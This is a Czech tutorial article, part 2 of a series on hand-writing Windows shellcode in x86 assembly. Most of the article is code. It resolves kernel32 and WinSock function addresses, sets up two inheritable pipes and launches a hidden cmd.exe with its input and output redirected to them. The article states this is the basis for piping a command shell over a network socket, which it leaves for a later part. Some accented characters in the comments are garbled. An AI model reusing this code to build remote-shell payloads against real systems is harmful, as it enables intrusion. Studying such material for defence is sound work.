Exploitování – tvorba shellkódu 2. část

Vložil/a Juzna [1], 13 Leden, 2006 - 12:46

- Exploit [2]
- Hacking [3]
- Programming [4]

Pokračování článku o vytváření shellkódu v assembleru. Bude následovat ještě jeden díl.

Hledání dalších funkcí

Jelikož budeme hledat větší množství funkcí, uděláme si vlastní proceduru která nám najde funkce z určitého seznamu a uloží je na další seznam. Bude vypadat takto: (komentáře hovoří za vše)

```
; ########################################
; Henkaj probiha hledani adres na dane funkce
; V EDX se musi nachazet adresa funkce GetProcAddrress
; V ECX je pocet hledanych funkci
; v EBX je asi adresa zacatku knihovny
; v ESI pointer na nazvy fci
; v EDI je pointer na misto kam se ukladaji vysledky

hledej_fce:
push ecx ; Schovame
push edx

push esi ; Nazev funkce
push ebx ; Adresa knihovny
call edx ; Volame GetProcAddress

pop edx ; Vratime
pop ecx
push eax ; Schovame


; Najdeme nazev dalsi funkce
hledej_dalsi_fci:
lods byte ptr [esi]
test al, al
jne hledej_dalsi_fci ; Opakujeme dokud nenajdeme nulovy znak=konec stringu

pop eax ; Vratime
stos dword ptr [edi]  ; Na pozici edi uzlozime adresu ktera byla vracena do eax
loop hledej_fce ; Opakujeme
ret
```

Procedura která nám najde adresy exportovaných funkcí je vytvořena. Takže jí musíme nachystat potřebné údaje a pak ji zavolat:

```
call after_data_kernellfce ; Skok za stringy
db "LoadLibraryA", 0
```

```
db "CreatePipe", 0
db "GetStartupInfoA", 0
db "CreateProcessA", 0
db "PeekNamedPipe", 0
db "GlobalAlloc", 0
db "WriteFile", 0
db "ReadFile", 0
db "Sleep", 0
db "ExitProcess", 0
db "CloseHandle", 0

after_data_kernellfce:
pop esi ; Vezmeme navratovou hodnota volani - adresa na nazvy fci ktere hledame
mov edi, esi ; Navy uz potrebovat nebudeme, prepiseme je adresamy
mov edx, eax ; Adresa GetProcAddr kterou jsme pred chvili ziskali
mov ecx, 0Bh ; Pocet hledanych fci
call hledej_fce ; Hledej
```

Našli jsme adresy jednotlivých funkcí a uložili jsme je na místo původních názvů. Názvy totiž už nebudeme potřebovat, když známe adresy, a ušetříme tak místo, čas i velikos exploitu.
Dále víme že budeme vytvářet exploit co pracuje se sítí, takže potřebujeme knihovnu WinSock.

```
push edx ; Odlozime si

call string_wsock ; Ulozi na stack navratovou adresu, ale my ji tam nechame protoze
to bude parametr pro dalsi funkci
db "WSOCK32", 0
string_wsock:
call dword ptr ds:[edi-44] ; EDI ukazuje na konec seznamu adres funkci, takze kdyz
odecteme 44 ziskame 11. fce od zadu => LoadLibraryA. A tu zavolame. Do eax ziskame
adresu na nactenou knihovnu
pop edx ; Vratime


; Budeme hledat dalsi adresy na funkce
call after_data_winsockfce ; Skok za stringy
db "WSAStartup", 0
db "socket", 0
db "closesocket", 0
db "connect", 0
db "send", 0
db "recv", 0
after_data_winsockfce:
pop esi ; Adresa na nazvy fci ktere hledame, jako drive
mov ebx, eax ; Adresa nactene knihovny
mov ecx, 6 ; Pocet fci
call hledej_fce ; Hledame fce
```

Všimněte si že při druhém volání procedury hledej_fce nenastavovali registr edi. Odkazuje totiž hned za poslední nalezenou adresu funkce z kernellu. Můžeme klidně zapisovat za ně.

Vytvoření rour

Abychom mohli přesměrovat příkazovou řádku na nějakou IP:port, budeme potřebovat vytvořit tzv. Pipe neboli rouru. Konkrétně budeme potřebovat tyto roury 2. Do první budeme zapisovat my co dostaneme ze socketu a číst z ní bude proces příkazové řádky. Do druhé bude zapisovat příkazová

řádka svůj výstup který z ní následně přečteme a zašleme přes socket.
Registr edi nám odkazuje někam mezi názvy funkcí které jsme hledali v kernellu. Před ním jsou v paměti uložené adresy funkcí, které jsme si našli. A jelikož zbytek názvů funkcí a taktéž kód který následuje za nimi už byl vykonán a nebude potřeba být volán znova, můžeme jej klidně přepsat a použít jej třeba jako buffer. Mohli bychom si sice vytvořit buffer kdekoliv jinde, např. voláním funkce GlobalAlloc, ale pak bychom museli někam ukládat jeho adresu a tím bychom přišli o registr. Když si přepíšeme kód, ušetříme místo v paměti, nějaký čas, ale hlavně jeden registr který nám odkazuje na buffer.
Vzhledem k registru edi si tedy rozvrhneme paměť takto:
• Před edi máme adresy funkcí
• Od edi do edi+20h si budeme ukládat proměnné které potřebujeme pro další běh programu
• Od edi+20h výš budeme používat jako buffer pro různé účely

```
; Na [edi+20h] nachystame strukturu SECURITY_ATTRIBUTES
mov dword ptr ds:[edi+20h], 0Ch ; Delka structu
mov dword ptr ds:[edi+24h], 0h ; SecurityDescriptor
mov dword ptr ds:[edi+28h], 1h ; InheritHandle

push 0 ; Velikost bufferu -> default
lea eax, dword ptr [edi+20h] ; lpPipeAttributes – pointer na strukturu
push eax
lea eax, dword ptr [edi] ; WriteHandle (out = výstupní hodnota)
push eax
lea eax, dword ptr [edi+4h] ; ReadHandle (out)
push eax
call dword ptr ds:[edi-40h] ; Volani 10. funkce od zadu tzn CreatePipe


; Pro drouhou rouru je vše stejné, akorát nemusíme znovu vytvá?et
SECURITY_ATTRIBUTES, která z?stává nezm?n?na. Pro uložení handl? použijeme další 2
místa v pam?ti
push 0 ; Velikost bufferu -> default
lea eax, dword ptr [edi+20h]
push eax
lea eax, dword ptr [edi+0Ch] ; WriteHandle (out)
push eax
lea eax, dword ptr [edi+10h] ; ReadHandle (out)
push eax
call dword ptr ds:[edi-40h] ; CreatePipe
```

Spuštění příkazové řádky

Pro spuštění příkazové řádky použijeme funkci CreateProcess. Pro ni ale potřebujeme parametr StartupInfo, který získáme funkcí GetStartupInfoA. Spouštěná aplikace bude mít tato data stejná, pouze upravíme některé parametry. Zároveň spouštěnému procesu přiřadíme roury.

```
lea eax, dword ptr [edi+20h]
mov dword ptr ds:[eax], 44h ; Velikost struktury
push eax
call dword ptr ds:[edi-3Ch] ; GetStartupInfoA

; Nastavime StartupInfo
mov eax, dword ptr [edi] ; WriteHandle na prvni rouru
mov dword ptr [edi+5Ch], eax ; StdOut handle - nastavime vystup na prvni rouru
mov dword ptr [edi+60h], eax ; Error handle
mov eax, dword ptr [edi+10h] ; ReadHandle na druhou rouru
mov dword ptr [edi+58h], eax ; StdIn handle (na druhou rouru)
```

```
mov dword ptr [edi+4Ch], 181h ; Flags: ShowWindow + UseStdHandles + ForceOffFeedback
mov word ptr [edi+50h], 0 ; ShowWindow: hide

; Vytvorime proces prikazove radky
lea eax, dword ptr [edi+70h] ; ProcessInformation (out)
push eax
lea eax, dword ptr [edi+20h] ; StartupInfo
push eax
xor eax, eax ; Pushneme nuly
push eax ; CurrentDirectory: default
push eax ; Environment: default
push eax ; CreationFlags: default
push 1  ; InheritHandles: true
push eax ; ThreadAttributes: default
push eax ; ProcessAttributes: default
call string_cmd ; Tímto trikem op?t pushneme string
db "cmd.exe", 0
string_cmd:
push eax ; FileName: -
call dword ptr ds:[edi-38h] ; CreateProcessA
```

Zde by nebylo na škodu si opět přidat breakpoint a zkusit si prográmek debuggnout, zda nám správně spustí příkazovou řádku. To zjistíme podle návratové hodnoty uložené v eax, která je nenulová při úspěšném provedené funkce. Ověřit si funkčnost můžeme také přes Task manager ve kterém by se měla nově objevit spuštěná příkazová řádka.

Související články:
Exploitování – tvorba shellkódu 1. část [5]
Exploitování – tvorba shellkódu 3. část [6]

URL článku:
https://security-portal.cz/clanky/exploitov%C3%A1n%C3%AD-%E2%80%93-tvorba-shellk%C3%B3du-2-%C4%8D%C3%A1st

Odkazy:
[1] https://security-portal.cz/users/juzna
[2] https://security-portal.cz/category/tagy/exploit
[3] https://security-portal.cz/category/tagy/hacking
[4] https://security-portal.cz/category/tagy/programming
[5] http://www.security-portal.cz/clanky/exploitovani--tvorba-shellkodu-1-cast.html
[6] http://www.security-portal.cz/clanky/exploitovani--tvorba-shellkodu-3-cast.html